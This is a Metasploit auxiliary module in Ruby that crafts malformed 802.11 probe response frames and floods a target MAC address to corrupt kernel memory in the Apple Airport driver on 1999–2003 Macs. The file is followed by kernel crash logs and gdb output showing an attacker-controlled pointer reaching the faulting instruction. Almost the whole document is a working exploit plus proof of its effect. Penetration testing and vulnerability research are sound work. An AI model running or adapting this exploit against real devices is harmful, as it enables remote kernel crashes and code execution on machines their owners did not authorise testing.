167 lines
6.2 KiB
Ruby
167 lines
6.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Lorcon
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption',
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'Description' => %q{
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The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs)
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is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning
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mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading
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to arbitrary code execution. This vulnerability is triggered when a probe response frame is received
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that does not contain valid information element (IE) fields after the fixed-length header. The data
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following the fixed-length header is copied over internal kernel structures, resulting in memory
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operations being performed on attacker-controlled pointer values.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$'
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))
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register_options(
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[
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OptInt.new('COUNT', [ true, "The number of frames to send", 2000]),
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OptString.new('ADDR_DST', [ true, "The MAC address of the target system"])
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], self.class)
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end
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#
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# This bug is easiest to trigger when the card has been placed into active scan mode:
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# $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000
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#
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def run
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open_wifi
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cnt = datastore['COUNT'].to_i
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print_status("Creating malicious probe response frame...")
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frame = create_frame()
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print_status("Sending #{cnt} frames...")
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cnt.times { wifi.write(frame) }
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end
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def create_frame
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bssid = Rex::Text.rand_text(6)
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seq = [rand(255)].pack('n')
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caps = [rand(65535)].pack('n')
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frame =
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"\x50" + # type/subtype
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"\x00" + # flags
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"\x00\x00" + # duration
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eton(datastore['ADDR_DST']) + # dst
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bssid + # src
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bssid + # bssid
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seq + # seq
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Rex::Text.rand_text(8) + # timestamp value
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Rex::Text.rand_text(2) + # beacon interval
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Rex::Text.rand_text(2) # capabilities
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frame << [0x0defaced].pack('N') * ((1024-frame.length) / 4)
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return frame
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end
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end
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=begin
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Tested on a 1.0Ghz PowerBook running 10.4.8 with the latest updates (Halloween, 2006)
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Unresolved kernel trap(cpu 0): 0x300 - Data access DAR=0x000000000DEFACF7 PC=0x00000000007A2260
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Latest crash info for cpu 0:
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Exception state (sv=0x3AA12A00)
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PC=0x007A2260; MSR=0x00009030; DAR=0x0DEFACF7; DSISR=0x40000000; LR=0x007A1D48; R1=0x17443B60; XCP=0x0000000C (0x300 - Data access)
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Backtrace:
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0x01BC80AC 0x007A1D48 0x0079FA54 0x0079FF94 0x0079FEBC 0x002D0B94
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0x002CFA5C 0x000A9314
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Kernel loadable modules in backtrace (with dependencies):
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com.apple.driver.AppleAirPort(3.4.4)@0x797000
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dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x5f8000
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Proceeding back via exception chain:
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Exception state (sv=0x3AA12A00)
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previously dumped as "Latest" state. skipping...
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Exception state (sv=0x31F13A00)
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PC=0x00000000; MSR=0x0000D030; DAR=0x00000000; DSISR=0x00000000; LR=0x00000000; R1=0x00000000; XCP=0x00000000 (Unknown)
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Kernel version:
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Darwin Kernel Version 8.8.0: Fri Sep 8 17:18:57 PDT 2006; root:xnu-792.12.6.obj~1/RELEASE_PPC
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(gdb) showcurrentstacks
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task vm_map ipc_space #acts pid proc command
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0x01a73dd8 0x00cdaf3c 0x01a68ef0 38 0 0x003fb200 kernel_task
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activation thread pri state wait_queue wait_event
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0x01a7c000 0x01a7c000 82 R
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reserved_stack=0x173b0000
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kernel_stack=0x17440000
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stacktop=0x17443b60
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0x17443b60 0x1bc80ac
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0x17443be0 0x7a1d48 <com.apple.driver.AppleAirPort + 0xad48>
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0x17443c60 0x79fa54 <com.apple.driver.AppleAirPort + 0x8a54>
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0x17443ce0 0x79ff94 <com.apple.driver.AppleAirPort + 0x8f94>
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0x17443d90 0x79febc <com.apple.driver.AppleAirPort + 0x8ebc>
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0x17443df0 0x2d0b94 <_ZN22IOInterruptEventSource12checkForWorkEv+184>
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0x17443e40 0x2cfa5c <_ZN10IOWorkLoop10threadMainEv+104>
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0x17443e90 0xa9314 <Call_continuation+20>
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stackbottom=0x17443e90
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(gdb) x/3i $pc
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0x7a2260 <mhp.1762+3571640>: lbz r8,0(r2)
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0x7a2264 <mhp.1762+3571644>: addi r2,r2,1
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0x7a2268 <mhp.1762+3571648>: stw r2,0(r11)
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(gdb) i r $r2
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r2 0xdefacf7 233811191
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(gdb) x/x $r11
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0x17443bb8: 0x0defacf7
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(gdb) bt
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#0 0x007a2260 in mhp.1762 ()
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#1 0x007a1d48 in mhp.1762 ()
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warning: Previous frame identical to this frame (corrupt stack?)
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#2 0x007a1d48 in mhp.1762 ()
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#3 0x0079fa54 in mhp.1762 ()
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#4 0x0079ff94 in mhp.1762 ()
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#5 0x0079febc in mhp.1762 ()
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#6 0x002d0b94 in IOInterruptEventSource::checkForWork (this=0x1d80d40) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOInterruptEventSource.cpp:196
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#7 0x002cfa5c in IOWorkLoop::threadMain (this=0x1d803c0) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOWorkLoop.cpp:267
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(gdb) x/40x $r1
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0x17443b60: 0x17443be0 0x22424022 0x01bc80ac 0x00000038
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0x17443b70: 0x00d43c54 0x0004ffff 0x01bc81f4 0x00000210
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0x17443b80: 0x02275000 0x003d8000 0x004fa418 0x00365000
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0x17443b90: 0x01d803c0 0x00033e88 0x01a7c01c 0x01a7c0a4
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0x17443ba0: 0x0defaced 0x01bc8000 0x0227581e 0x0defacf7
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0x17443bb0: 0x00000000 0x0227581e 0x0defacf7 0x00000001
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0x17443bc0: 0x00000002 0x01bc81f4 0x00000000 0x00000000
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0x17443bd0: 0x17443c10 0x01a858c0 0x17443be0 0x01d80d40
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0x17443be0: 0x17443c60 0x01bc81f4 0x007a1d48 0x00000000
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0x17443bf0: 0x17443c20 0x00008088 0x01bc8000 0x0227581e
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=end
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